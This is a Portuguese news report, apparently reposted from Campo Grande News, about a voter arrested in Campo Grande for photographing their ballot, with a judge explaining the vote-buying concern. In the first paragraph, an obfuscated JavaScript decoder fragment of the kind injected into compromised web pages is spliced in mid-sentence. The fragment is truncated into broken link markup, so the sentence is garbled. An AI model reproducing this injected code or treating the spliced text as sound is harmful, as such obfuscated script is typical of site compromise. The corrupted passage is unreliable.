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Eleitor é preso fazendo selfie na urna e polícia investiga compra de voto

Redação

Via Campo Grande News

Um eleitor foi preso por volta das 11h deste domingo (2) fazendo um selfie no momento que votava. De acordo com a assessoria de imprensa do TRE-MS (Tribunal Regional Eleitoral de Mato Grosso do Sul), o flagrante foi na function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandenews.com.br/educacao" target="_blank">EscolaEstadual Professora Ada Teixeira dos Santos Pereira, no Jardim Campo Belo, bairro do norte de Campo Grande.

Ainda segundo o TRE, foi o presidente da sessão onde aconteceu a irregularidade que chamou a PM (Polícia Militar).

O TRE ainda não tem informações sobre para onde o eleitor foi levado, mas todos os presos por enquanto todos os presos estão sendo encaminhados para a sede da PF (Polícia Federal).

Compra de voto - De acordo com o juiz eleitoral, David de Oliveira Gomes Filho, titular da 36ª zona eleitoral, explica que a foto pode ser usada pelo eleitor para provar a algum candidato ou coligação que ele realmente votou em determinada pessoa, ou seja, uma comprovação para a compra do voto.

“O self viola o sigilo do voto. Esta fotografia pode ser usada para mostrar ao candidato que poderia estar comprando o voto que o eleitor cumpriu a palavra de votar”, detalha o magistrado.

Sempre que alguém é flagrado numa situação desta, ainda conforme Gomes Filho, o celular é apreendido imediatamente pelo presidente da mesa e encaminhado para investigação de compra e venda de voto.

A penalidade que será aplicada depende da investigação - pode ser multa, prisão - e a pessoa fica detida até a liberação do juiz.

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